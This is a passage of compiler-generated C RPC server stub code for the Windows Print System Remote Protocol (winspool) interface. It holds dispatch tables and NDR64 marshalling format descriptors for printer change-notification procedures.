2078 | static const NDR_RUNDOWN RundownRoutines[] = 2079 | { 2080 | PRINTER_HANDLE_rundown 2081 | }; 2082 | 2083 | 2084 | static const unsigned short winspool_FormatStringOffsetTable[] = 2085 | { 2086 | 0, 2087 | 36, 2088 | 104, 2089 | 140, 2090 | 176, 2091 | 212, 2092 | 248, 2093 | 284, 2094 | 320, 2095 | 356, 2096 | 392, 2097 | 428, 2098 | 464, 2099 | 500, 2100 | 536, 2101 | 572, 2102 | 608, 2103 | 644, 2104 | 680, 2105 | 716, 2106 | 752, 2107 | 788, 2108 | 824, 2109 | 860, 2110 | 896, 2111 | 932, 2112 | 968, 2113 | 1004, 2114 | 1040, 2115 | 1076, 2116 | 1120, 2117 | 1156, 2118 | 1192, 2119 | 1228, 2120 | 1264, 2121 | 1300, 2122 | 1336, 2123 | 1372, 2124 | 1402, 2125 | 1432, 2126 | 1468, 2127 | 1504, 2128 | 1540, 2129 | 1576, 2130 | 1606, 2131 | 1636, 2132 | 1666, 2133 | 1702, 2134 | 1738, 2135 | 1774, 2136 | 1804, 2137 | 1834, 2138 | 1870, 2139 | 1906, 2140 | 1942, 2141 | 1972, 2142 | 2002, 2143 | 2038, 2144 | 2068, 2145 | 2104, 2146 | 2140, 2147 | 2176, 2148 | 2212, 2149 | 2248, 2150 | 2278, 2151 | 2308 2152 | }; 2153 | 2154 | 2155 | static const RPC_DISPATCH_FUNCTION winspool_table[] = 2156 | { 2157 | NdrServerCall2, 2158 | NdrServerCall2, 2159 | NdrServerCall2, 2160 | NdrServerCall2, 2161 | NdrServerCall2, 2162 | NdrServerCall2, 2163 | NdrServerCall2, 2164 | NdrServerCall2, 2165 | NdrServerCall2, 2166 | NdrServerCall2, 2167 | NdrServerCall2, 2168 | NdrServerCall2, 2169 | NdrServerCall2, 2170 | NdrServerCall2, 2171 | NdrServerCall2, 2172 | NdrServerCall2, 2173 | NdrServerCall2, 2174 | NdrServerCall2, 2175 | NdrServerCall2, 2176 | NdrServerCall2, 2177 | NdrServerCall2, 2178 | NdrServerCall2, 2179 | NdrServerCall2, 2180 | NdrServerCall2, 2181 | NdrServerCall2, 2182 | NdrServerCall2, 2183 | NdrServerCall2, 2184 | NdrServerCall2, 2185 | NdrServerCall2, 2186 | NdrServerCall2, 2187 | NdrServerCall2, 2188 | NdrServerCall2, 2189 | NdrServerCall2, 2190 | NdrServerCall2, 2191 | NdrServerCall2, 2192 | NdrServerCall2, 2193 | NdrServerCall2, 2194 | NdrServerCall2, 2195 | NdrServerCall2, 2196 | NdrServerCall2, 2197 | NdrServerCall2, 2198 | NdrServerCall2, 2199 | NdrServerCall2, 2200 | NdrServerCall2, 2201 | NdrServerCall2, 2202 | NdrServerCall2, 2203 | NdrServerCall2, 2204 | NdrServerCall2, 2205 | NdrServerCall2, 2206 | NdrServerCall2, 2207 | NdrServerCall2, 2208 | NdrServerCall2, 2209 | NdrServerCall2, 2210 | NdrServerCall2, 2211 | NdrServerCall2, 2212 | NdrServerCall2, 2213 | NdrServerCall2, 2214 | NdrServerCall2, 2215 | NdrServerCall2, 2216 | NdrServerCall2, 2217 | NdrServerCall2, 2218 | NdrServerCall2, 2219 | NdrServerCall2, 2220 | NdrServerCall2, 2221 | NdrServerCall2, 2222 | NdrServerCall2, 2223 | 0 2224 | }; 2225 | static const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable = 2226 | { 2227 | 66, 2228 | (RPC_DISPATCH_FUNCTION*)winspool_table 2229 | }; 2230 | 2231 | 2232 | #endif /* defined(_M_AMD64)*/ 2233 | 2234 | 2235 | 2236 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 2237 | 2238 | 2239 | /* File created by MIDL compiler version 8.01.0622 */ 2240 | /* at Tue Jan 19 03:14:07 2038 2241 | */ 2242 | /* Compiler settings for ms-rprn.idl: 2243 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 2244 | protocol : all , ms_ext, c_ext, robust 2245 | error checks: allocation ref bounds_check enum stub_data 2246 | VC __declspec() decoration level: 2247 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 2248 | DECLSPEC_UUID(), MIDL_INTERFACE() 2249 | */ 2250 | /* @@MIDL_FILE_HEADING( ) */ 2251 | 2252 | #if defined(_M_AMD64) 2253 | 2254 | 2255 | 2256 | extern const NDR_RUNDOWN RundownRoutines[]; 2257 | 2258 | #if !defined(__RPC_WIN64__) 2259 | #error Invalid build platform for this stub. 2260 | #endif 2261 | 2262 | 2263 | #include "ndr64types.h" 2264 | #include "pshpack8.h" 2265 | 2266 | 2267 | typedef 2268 | NDR64_FORMAT_CHAR 2269 | __midl_frag153_t; 2270 | extern const __midl_frag153_t __midl_frag153; 2271 | 2272 | typedef 2273 | struct 2274 | { 2275 | struct _NDR64_POINTER_FORMAT frag1; 2276 | } 2277 | __midl_frag152_t; 2278 | extern const __midl_frag152_t __midl_frag152; 2279 | 2280 | typedef 2281 | struct 2282 | { 2283 | NDR64_FORMAT_UINT32 frag1; 2284 | struct _NDR64_EXPR_VAR frag2; 2285 | } 2286 | __midl_frag151_t; 2287 | extern const __midl_frag151_t __midl_frag151; 2288 | 2289 | typedef 2290 | struct 2291 | { 2292 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; 2293 | struct _NDR64_ARRAY_ELEMENT_INFO frag2; 2294 | } 2295 | __midl_frag150_t; 2296 | extern const __midl_frag150_t __midl_frag150; 2297 | 2298 | typedef 2299 | struct 2300 | { 2301 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; 2302 | struct 2303 | { 2304 | struct _NDR64_NO_REPEAT_FORMAT frag1; 2305 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; 2306 | struct _NDR64_POINTER_FORMAT frag3; 2307 | NDR64_FORMAT_CHAR frag4; 2308 | } frag2; 2309 | } 2310 | __midl_frag149_t; 2311 | extern const __midl_frag149_t __midl_frag149; 2312 | 2313 | typedef 2314 | NDR64_FORMAT_CHAR 2315 | __midl_frag148_t; 2316 | extern const __midl_frag148_t __midl_frag148; 2317 | 2318 | typedef 2319 | struct 2320 | { 2321 | NDR64_FORMAT_UINT32 frag1; 2322 | struct _NDR64_EXPR_VAR frag2; 2323 | } 2324 | __midl_frag145_t; 2325 | extern const __midl_frag145_t __midl_frag145; 2326 | 2327 | typedef 2328 | struct 2329 | { 2330 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; 2331 | struct 2332 | { 2333 | struct _NDR64_REPEAT_FORMAT frag1; 2334 | struct 2335 | { 2336 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; 2337 | struct _NDR64_POINTER_FORMAT frag2; 2338 | } frag2; 2339 | NDR64_FORMAT_CHAR frag3; 2340 | } frag2; 2341 | struct _NDR64_ARRAY_ELEMENT_INFO frag3; 2342 | } 2343 | __midl_frag144_t; 2344 | extern const __midl_frag144_t __midl_frag144; 2345 | 2346 | typedef 2347 | struct 2348 | { 2349 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; 2350 | struct 2351 | { 2352 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; 2353 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; 2354 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; 2355 | struct _NDR64_MEMPAD_FORMAT frag4; 2356 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; 2357 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; 2358 | } frag2; 2359 | } 2360 | __midl_frag143_t; 2361 | extern const __midl_frag143_t __midl_frag143; 2362 | 2363 | typedef 2364 | struct _NDR64_POINTER_FORMAT 2365 | __midl_frag142_t; 2366 | extern const __midl_frag142_t __midl_frag142; 2367 | 2368 | typedef 2369 | struct _NDR64_CONFORMANT_STRING_FORMAT 2370 | __midl_frag140_t; 2371 | extern const __midl_frag140_t __midl_frag140; 2372 | 2373 | typedef 2374 | struct _NDR64_POINTER_FORMAT 2375 | __midl_frag139_t; 2376 | extern const __midl_frag139_t __midl_frag139; 2377 | 2378 | typedef 2379 | struct _NDR64_CONTEXT_HANDLE_FORMAT 2380 | __midl_frag136_t; 2381 | extern const __midl_frag136_t __midl_frag136; 2382 | 2383 | typedef 2384 | struct 2385 | { 2386 | struct _NDR64_PROC_FORMAT frag1; 2387 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2388 | struct _NDR64_PARAM_FORMAT frag3; 2389 | struct _NDR64_PARAM_FORMAT frag4; 2390 | struct _NDR64_PARAM_FORMAT frag5; 2391 | struct _NDR64_PARAM_FORMAT frag6; 2392 | struct _NDR64_PARAM_FORMAT frag7; 2393 | struct _NDR64_PARAM_FORMAT frag8; 2394 | struct _NDR64_PARAM_FORMAT frag9; 2395 | } 2396 | __midl_frag135_t; 2397 | extern const __midl_frag135_t __midl_frag135; 2398 | 2399 | typedef 2400 | struct 2401 | { 2402 | struct _NDR64_PROC_FORMAT frag1; 2403 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2404 | } 2405 | __midl_frag134_t; 2406 | extern const __midl_frag134_t __midl_frag134; 2407 | 2408 | typedef 2409 | struct 2410 | { 2411 | struct _NDR64_PROC_FORMAT frag1; 2412 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2413 | struct _NDR64_PARAM_FORMAT frag3; 2414 | } 2415 | __midl_frag131_t; 2416 | extern const __midl_frag131_t __midl_frag131; 2417 | 2418 | typedef 2419 | struct _NDR64_CONTEXT_HANDLE_FORMAT 2420 | __midl_frag75_t; 2421 | extern const __midl_frag75_t __midl_frag75; 2422 | 2423 | typedef 2424 | struct _NDR64_POINTER_FORMAT 2425 | __midl_frag74_t; 2426 | extern const __midl_frag74_t __midl_frag74; 2427 | 2428 | typedef 2429 | struct 2430 | { 2431 | struct _NDR64_PROC_FORMAT frag1; 2432 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2433 | struct _NDR64_PARAM_FORMAT frag3; 2434 | struct _NDR64_PARAM_FORMAT frag4; 2435 | } 2436 | __midl_frag73_t; 2437 | extern const __midl_frag73_t __midl_frag73; 2438 | 2439 | typedef 2440 | struct 2441 | { 2442 | struct _NDR64_POINTER_FORMAT frag1; 2443 | } 2444 | __midl_frag16_t; 2445 | extern const __midl_frag16_t __midl_frag16; 2446 | 2447 | typedef 2448 | NDR64_FORMAT_CHAR 2449 | __midl_frag15_t; 2450 | extern const __midl_frag15_t __midl_frag15; 2451 | 2452 | typedef 2453 | struct 2454 | { 2455 | NDR64_FORMAT_UINT32 frag1; 2456 | struct _NDR64_EXPR_VAR frag2; 2457 | } 2458 | __midl_frag14_t; 2459 | extern const __midl_frag14_t __midl_frag14; 2460 | 2461 | typedef 2462 | struct 2463 | { 2464 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; 2465 | struct _NDR64_ARRAY_ELEMENT_INFO frag2; 2466 | } 2467 | __midl_frag13_t; 2468 | extern const __midl_frag13_t __midl_frag13; 2469 | 2470 | typedef 2471 | struct 2472 | { 2473 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; 2474 | struct 2475 | { 2476 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; 2477 | struct _NDR64_MEMPAD_FORMAT frag2; 2478 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; 2479 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; 2480 | } frag2; 2481 | } 2482 | __midl_frag12_t; 2483 | extern const __midl_frag12_t __midl_frag12; 2484 | 2485 | typedef 2486 | struct _NDR64_POINTER_FORMAT 2487 | __midl_frag11_t; 2488 | extern const __midl_frag11_t __midl_frag11; 2489 | 2490 | typedef 2491 | struct _NDR64_CONTEXT_HANDLE_FORMAT 2492 | __midl_frag8_t; 2493 | extern const __midl_frag8_t __midl_frag8; 2494 | 2495 | typedef 2496 | struct _NDR64_POINTER_FORMAT 2497 | __midl_frag7_t; 2498 | extern const __midl_frag7_t __midl_frag7; 2499 | 2500 | typedef 2501 | struct 2502 | { 2503 | struct _NDR64_PROC_FORMAT frag1; 2504 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2505 | struct _NDR64_PARAM_FORMAT frag3; 2506 | struct _NDR64_PARAM_FORMAT frag4; 2507 | struct _NDR64_PARAM_FORMAT frag5; 2508 | struct _NDR64_PARAM_FORMAT frag6; 2509 | struct _NDR64_PARAM_FORMAT frag7; 2510 | struct _NDR64_PARAM_FORMAT frag8; 2511 | } 2512 | __midl_frag4_t; 2513 | extern const __midl_frag4_t __midl_frag4; 2514 | 2515 | typedef 2516 | NDR64_FORMAT_UINT32 2517 | __midl_frag1_t; 2518 | extern const __midl_frag1_t __midl_frag1; 2519 | 2520 | static const __midl_frag153_t __midl_frag153 = 2521 | 0x5 /* FC64_INT32 */; 2522 | 2523 | static const __midl_frag152_t __midl_frag152 = 2524 | { 2525 | /* */ 2526 | { 2527 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2528 | 0x21, /* FC64_UP */ 2529 | (NDR64_UINT8) 32 /* 0x20 */, 2530 | (NDR64_UINT16) 0 /* 0x0 */, 2531 | &__midl_frag144 2532 | } 2533 | }; 2534 | 2535 | static const __midl_frag151_t __midl_frag151 = 2536 | { 2537 | /* */ 2538 | (NDR64_UINT32) 1 /* 0x1 */, 2539 | { 2540 | /* struct _NDR64_EXPR_VAR */ 2541 | 0x3, /* FC_EXPR_VAR */ 2542 | 0x6, /* FC64_UINT32 */ 2543 | (NDR64_UINT16) 0 /* 0x0 */, 2544 | (NDR64_UINT32) 12 /* 0xc */ 2545 | } 2546 | }; 2547 | 2548 | static const __midl_frag150_t __midl_frag150 = 2549 | { 2550 | /* *short */ 2551 | { 2552 | /* *short */ 2553 | 0x41, /* FC64_CONF_ARRAY */ 2554 | (NDR64_UINT8) 1 /* 0x1 */, 2555 | { 2556 | /* *short */ 2557 | 0, 2558 | 0, 2559 | 0, 2560 | 0, 2561 | 0, 2562 | 0, 2563 | 0, 2564 | 0 2565 | }, 2566 | (NDR64_UINT8) 0 /* 0x0 */, 2567 | (NDR64_UINT32) 2 /* 0x2 */, 2568 | &__midl_frag151 2569 | }, 2570 | { 2571 | /* struct _NDR64_ARRAY_ELEMENT_INFO */ 2572 | (NDR64_UINT32) 2 /* 0x2 */, 2573 | &__midl_frag148 2574 | } 2575 | }; 2576 | 2577 | static const __midl_frag149_t __midl_frag149 = 2578 | { 2579 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */ 2580 | { 2581 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */ 2582 | 0x31, /* FC64_PSTRUCT */ 2583 | (NDR64_UINT8) 7 /* 0x7 */, 2584 | { 2585 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */ 2586 | 1, 2587 | 0, 2588 | 0, 2589 | 0, 2590 | 0, 2591 | 0, 2592 | 0, 2593 | 0 2594 | }, 2595 | (NDR64_UINT8) 0 /* 0x0 */, 2596 | (NDR64_UINT32) 24 /* 0x18 */ 2597 | }, 2598 | { 2599 | /* */ 2600 | { 2601 | /* struct _NDR64_NO_REPEAT_FORMAT */ 2602 | 0x80, /* FC64_NO_REPEAT */ 2603 | (NDR64_UINT8) 0 /* 0x0 */, 2604 | (NDR64_UINT16) 0 /* 0x0 */, 2605 | (NDR64_UINT32) 0 /* 0x0 */ 2606 | }, 2607 | { 2608 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ 2609 | (NDR64_UINT32) 16 /* 0x10 */, 2610 | (NDR64_UINT32) 0 /* 0x0 */ 2611 | }, 2612 | { 2613 | /* *short */ 2614 | 0x21, /* FC64_UP */ 2615 | (NDR64_UINT8) 32 /* 0x20 */, 2616 | (NDR64_UINT16) 0 /* 0x0 */, 2617 | &__midl_frag150 2618 | }, 2619 | 0x93 /* FC64_END */ 2620 | } 2621 | }; 2622 | 2623 | static const __midl_frag148_t __midl_frag148 = 2624 | 0x4 /* FC64_INT16 */; 2625 | 2626 | static const __midl_frag145_t __midl_frag145 = 2627 | { 2628 | /* */ 2629 | (NDR64_UINT32) 1 /* 0x1 */, 2630 | { 2631 | /* struct _NDR64_EXPR_VAR */ 2632 | 0x3, /* FC_EXPR_VAR */ 2633 | 0x6, /* FC64_UINT32 */ 2634 | (NDR64_UINT16) 0 /* 0x0 */, 2635 | (NDR64_UINT32) 8 /* 0x8 */ 2636 | } 2637 | }; 2638 | 2639 | static const __midl_frag144_t __midl_frag144 = 2640 | { 2641 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2642 | { 2643 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2644 | 0x41, /* FC64_CONF_ARRAY */ 2645 | (NDR64_UINT8) 7 /* 0x7 */, 2646 | { 2647 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2648 | 1, 2649 | 0, 2650 | 0, 2651 | 0, 2652 | 0, 2653 | 0, 2654 | 0, 2655 | 0 2656 | }, 2657 | (NDR64_UINT8) 0 /* 0x0 */, 2658 | (NDR64_UINT32) 24 /* 0x18 */, 2659 | &__midl_frag145 2660 | }, 2661 | { 2662 | /* */ 2663 | { 2664 | /* struct _NDR64_REPEAT_FORMAT */ 2665 | 0x82, /* FC64_VARIABLE_REPEAT */ 2666 | { 2667 | /* struct _NDR64_REPEAT_FORMAT */ 2668 | (NDR64_UINT8) 1 /* 0x1 */, 2669 | (NDR64_UINT8) 0 /* 0x0 */ 2670 | }, 2671 | (NDR64_UINT16) 0 /* 0x0 */, 2672 | (NDR64_UINT32) 24 /* 0x18 */, 2673 | (NDR64_UINT32) 0 /* 0x0 */, 2674 | (NDR64_UINT32) 1 /* 0x1 */ 2675 | }, 2676 | { 2677 | /* */ 2678 | { 2679 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ 2680 | (NDR64_UINT32) 16 /* 0x10 */, 2681 | (NDR64_UINT32) 0 /* 0x0 */ 2682 | }, 2683 | { 2684 | /* *short */ 2685 | 0x21, /* FC64_UP */ 2686 | (NDR64_UINT8) 32 /* 0x20 */, 2687 | (NDR64_UINT16) 0 /* 0x0 */, 2688 | &__midl_frag150 2689 | } 2690 | }, 2691 | 0x93 /* FC64_END */ 2692 | }, 2693 | { 2694 | /* struct _NDR64_ARRAY_ELEMENT_INFO */ 2695 | (NDR64_UINT32) 24 /* 0x18 */, 2696 | &__midl_frag149 2697 | } 2698 | }; 2699 | 2700 | static const __midl_frag143_t __midl_frag143 = 2701 | { 2702 | /* RPC_V2_NOTIFY_OPTIONS */ 2703 | { 2704 | /* RPC_V2_NOTIFY_OPTIONS */ 2705 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */ 2706 | (NDR64_UINT8) 7 /* 0x7 */, 2707 | { 2708 | /* RPC_V2_NOTIFY_OPTIONS */ 2709 | 1, 2710 | 1, 2711 | 0, 2712 | 0, 2713 | 0, 2714 | 0, 2715 | 0, 2716 | 0 2717 | }, 2718 | (NDR64_UINT8) 0 /* 0x0 */, 2719 | (NDR64_UINT32) 24 /* 0x18 */, 2720 | 0, 2721 | 0, 2722 | &__midl_frag152, 2723 | }, 2724 | { 2725 | /* */ 2726 | { 2727 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2728 | 0x5, /* FC64_INT32 */ 2729 | (NDR64_UINT8) 0 /* 0x0 */, 2730 | (NDR64_UINT16) 0 /* 0x0 */, 2731 | (NDR64_UINT32) 0 /* 0x0 */ 2732 | }, 2733 | { 2734 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2735 | 0x5, /* FC64_INT32 */ 2736 | (NDR64_UINT8) 0 /* 0x0 */, 2737 | (NDR64_UINT16) 0 /* 0x0 */, 2738 | (NDR64_UINT32) 0 /* 0x0 */ 2739 | }, 2740 | { 2741 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2742 | 0x5, /* FC64_INT32 */ 2743 | (NDR64_UINT8) 0 /* 0x0 */, 2744 | (NDR64_UINT16) 0 /* 0x0 */, 2745 | (NDR64_UINT32) 0 /* 0x0 */ 2746 | }, 2747 | { 2748 | /* struct _NDR64_MEMPAD_FORMAT */ 2749 | 0x90, /* FC64_STRUCTPADN */ 2750 | (NDR64_UINT8) 0 /* 0x0 */, 2751 | (NDR64_UINT16) 4 /* 0x4 */, 2752 | (NDR64_UINT32) 0 /* 0x0 */ 2753 | }, 2754 | { 2755 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2756 | 0x14, /* FC64_POINTER */ 2757 | (NDR64_UINT8) 0 /* 0x0 */, 2758 | (NDR64_UINT16) 0 /* 0x0 */, 2759 | (NDR64_UINT32) 0 /* 0x0 */ 2760 | }, 2761 | { 2762 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2763 | 0x93, /* FC64_END */ 2764 | (NDR64_UINT8) 0 /* 0x0 */, 2765 | (NDR64_UINT16) 0 /* 0x0 */, 2766 | (NDR64_UINT32) 0 /* 0x0 */ 2767 | } 2768 | } 2769 | }; 2770 | 2771 | static const __midl_frag142_t __midl_frag142 = 2772 | { 2773 | /* *RPC_V2_NOTIFY_OPTIONS */ 2774 | 0x21, /* FC64_UP */ 2775 | (NDR64_UINT8) 0 /* 0x0 */, 2776 | (NDR64_UINT16) 0 /* 0x0 */, 2777 | &__midl_frag143 2778 | }; 2779 | 2780 | static const __midl_frag140_t __midl_frag140 = 2781 | { 2782 | /* *wchar_t */ 2783 | { 2784 | /* *wchar_t */ 2785 | 0x64, /* FC64_CONF_WCHAR_STRING */ 2786 | { 2787 | /* *wchar_t */ 2788 | 0, 2789 | 0, 2790 | 0, 2791 | 0, 2792 | 0, 2793 | 0, 2794 | 0, 2795 | 0 2796 | }, 2797 | (NDR64_UINT16) 2 /* 0x2 */ 2798 | } 2799 | }; 2800 | 2801 | static const __midl_frag139_t __midl_frag139 = 2802 | { 2803 | /* *wchar_t */ 2804 | 0x21, /* FC64_UP */ 2805 | (NDR64_UINT8) 0 /* 0x0 */, 2806 | (NDR64_UINT16) 0 /* 0x0 */, 2807 | &__midl_frag140 2808 | }; 2809 | 2810 | static const __midl_frag136_t __midl_frag136 = 2811 | { 2812 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */ 2813 | 0x70, /* FC64_BIND_CONTEXT */ 2814 | (NDR64_UINT8) 65 /* 0x41 */, 2815 | (NDR64_UINT8) 0 /* 0x0 */, 2816 | (NDR64_UINT8) 1 /* 0x1 */ 2817 | }; 2818 | 2819 | static const __midl_frag135_t __midl_frag135 = 2820 | { 2821 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */ 2822 | { 2823 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */ /* procedure RpcRemoteFindFirstPrinterChangeNotificationEx */ 2824 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ 2825 | (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ 2826 | (NDR64_UINT32) 60 /* 0x3c */, 2827 | (NDR64_UINT32) 8 /* 0x8 */, 2828 | (NDR64_UINT16) 0 /* 0x0 */, 2829 | (NDR64_UINT16) 0 /* 0x0 */, 2830 | (NDR64_UINT16) 7 /* 0x7 */, 2831 | (NDR64_UINT16) 8 /* 0x8 */ 2832 | }, 2833 | { 2834 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2835 | { 2836 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2837 | 0x70, /* FC64_BIND_CONTEXT */ 2838 | (NDR64_UINT8) 64 /* 0x40 */, 2839 | 0 /* 0x0 */, /* Stack offset */ 2840 | (NDR64_UINT8) 0 /* 0x0 */, 2841 | (NDR64_UINT8) 0 /* 0x0 */ 2842 | }, 2843 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2844 | }, 2845 | { 2846 | /* hPrinter */ /* parameter hPrinter */ 2847 | &__midl_frag136, 2848 | { 2849 | /* hPrinter */ 2850 | 0, 2851 | 0, 2852 | 0, 2853 | 1, 2854 | 0, 2855 | 0, 2856 | 0, 2857 | 0, 2858 | 0, 2859 | 0, 2860 | 0, 2861 | 0, 2862 | 0, 2863 | (NDR64_UINT16) 0 /* 0x0 */, 2864 | 0 2865 | }, /* [in] */ 2866 | (NDR64_UINT16) 0 /* 0x0 */, 2867 | 0 /* 0x0 */, /* Stack offset */ 2868 | }, 2869 | { 2870 | /* fdwFlags */ /* parameter fdwFlags */ 2871 | &__midl_frag153, 2872 | { 2873 | /* fdwFlags */ 2874 | 0, 2875 | 0, 2876 | 0, 2877 | 1, 2878 | 0, 2879 | 0, 2880 | 1, 2881 | 1, 2882 | 0, 2883 | 0, 2884 | 0, 2885 | 0, 2886 | 0, 2887 | (NDR64_UINT16) 0 /* 0x0 */, 2888 | 0 2889 | }, /* [in], Basetype, ByValue */ 2890 | (NDR64_UINT16) 0 /* 0x0 */, 2891 | 8 /* 0x8 */, /* Stack offset */ 2892 | }, 2893 | { 2894 | /* fdwOptions */ /* parameter fdwOptions */ 2895 | &__midl_frag153, 2896 | { 2897 | /* fdwOptions */ 2898 | 0, 2899 | 0, 2900 | 0, 2901 | 1, 2902 | 0, 2903 | 0, 2904 | 1, 2905 | 1, 2906 | 0, 2907 | 0, 2908 | 0, 2909 | 0, 2910 | 0, 2911 | (NDR64_UINT16) 0 /* 0x0 */, 2912 | 0 2913 | }, /* [in], Basetype, ByValue */ 2914 | (NDR64_UINT16) 0 /* 0x0 */, 2915 | 16 /* 0x10 */, /* Stack offset */ 2916 | }, 2917 | { 2918 | /* pszLocalMachine */ /* parameter pszLocalMachine */ 2919 | &__midl_frag139, 2920 | { 2921 | /* pszLocalMachine */ 2922 | 1, 2923 | 1, 2924 | 0, 2925 | 1, 2926 | 0, 2927 | 0, 2928 | 0, 2929 | 0, 2930 | 0, 2931 | 0, 2932 | 0, 2933 | 0, 2934 | 0, 2935 | (NDR64_UINT16) 0 /* 0x0 */, 2936 | 0 2937 | }, /* MustSize, MustFree, [in] */ 2938 | (NDR64_UINT16) 0 /* 0x0 */, 2939 | 24 /* 0x18 */, /* Stack offset */ 2940 | }, 2941 | { 2942 | /* dwPrinterLocal */ /* parameter dwPrinterLocal */ 2943 | &__midl_frag153, 2944 | { 2945 | /* dwPrinterLocal */ 2946 | 0, 2947 | 0, 2948 | 0, 2949 | 1, 2950 | 0, 2951 | 0, 2952 | 1, 2953 | 1, 2954 | 0, 2955 | 0, 2956 | 0, 2957 | 0, 2958 | 0, 2959 | (NDR64_UINT16) 0 /* 0x0 */, 2960 | 0 2961 | }, /* [in], Basetype, ByValue */ 2962 | (NDR64_UINT16) 0 /* 0x0 */, 2963 | 32 /* 0x20 */, /* Stack offset */ 2964 | }, 2965 | { 2966 | /* pOptions */ /* parameter pOptions */ 2967 | &__midl_frag142, 2968 | { 2969 | /* pOptions */ 2970 | 1, 2971 | 1, 2972 | 0, 2973 | 1, 2974 | 0, 2975 | 0, 2976 | 0, 2977 | 0, 2978 | 0, 2979 | 0, 2980 | 0, 2981 | 0, 2982 | 0, 2983 | (NDR64_UINT16) 0 /* 0x0 */, 2984 | 0 2985 | }, /* MustSize, MustFree, [in] */ 2986 | (NDR64_UINT16) 0 /* 0x0 */, 2987 | 40 /* 0x28 */, /* Stack offset */ 2988 | }, 2989 | { 2990 | /* DWORD */ /* parameter DWORD */ 2991 | &__midl_frag153, 2992 | { 2993 | /* DWORD */ 2994 | 0, 2995 | 0, 2996 | 0, 2997 | 0, 2998 | 1, 2999 | 1, 3000 | 1, 3001 | 1, 3002 | 0, 3003 | 0, 3004 | 0, 3005 | 0, 3006 | 0, 3007 | (NDR64_UINT16) 0 /* 0x0 */, 3008 | 0 3009 | }, /* [out], IsReturn, Basetype, ByValue */ 3010 | (NDR64_UINT16) 0 /* 0x0 */, 3011 | 48 /* 0x30 */, /* Stack offset */ 3012 | } 3013 | }; 3014 | 3015 | static const __midl_frag134_t __midl_frag134 = 3016 | { 3017 | /* Opnum64NotUsedOnWire */ 3018 | { 3019 | /* Opnum64NotUsedOnWire */ /* procedure Opnum64NotUsedOnWire */ 3020 | (NDR64_UINT32) 16777280 /* 0x1000040 */, /* explicit handle */ /* IsIntrepreted, HasExtensions */ 3021 | (NDR64_UINT32) 8 /* 0x8 */ , /* Stack size */ 3022 | (NDR64_UINT32) 0 /* 0x0 */, 3023 | (NDR64_UINT32) 0 /* 0x0 */, 3024 | (NDR64_UINT16) 0 /* 0x0 */, 3025 | (NDR64_UINT16) 0 /* 0x0 */, 3026 | (NDR64_UINT16) 0 /* 0x0 */, 3027 | (NDR64_UINT16) 8 /* 0x8 */ 3028 | }, 3029 | { 3030 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3031 | { 3032 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3033 | 0x72, /* FC64_BIND_PRIMITIVE */ 3034 | (NDR64_UINT8) 0 /* 0x0 */, 3035 | 0 /* 0x0 */, /* Stack offset */ 3036 | (NDR64_UINT8) 0 /* 0x0 */, 3037 | (NDR64_UINT8) 0 /* 0x0 */ 3038 | }, 3039 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3040 | } 3041 | }; 3042 | 3043 | static const __midl_frag131_t __midl_frag131 = 3044 | { 3045 | /* RpcRemoteFindFirstPrinterChangeNotification */ 3046 | { 3047 | /* RpcRemoteFindFirstPrinterChangeNotification */ /* procedure RpcRemoteFindFirstPrinterChangeNotification */ 3048 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3049 | (NDR64_UINT32) 16 /* 0x10 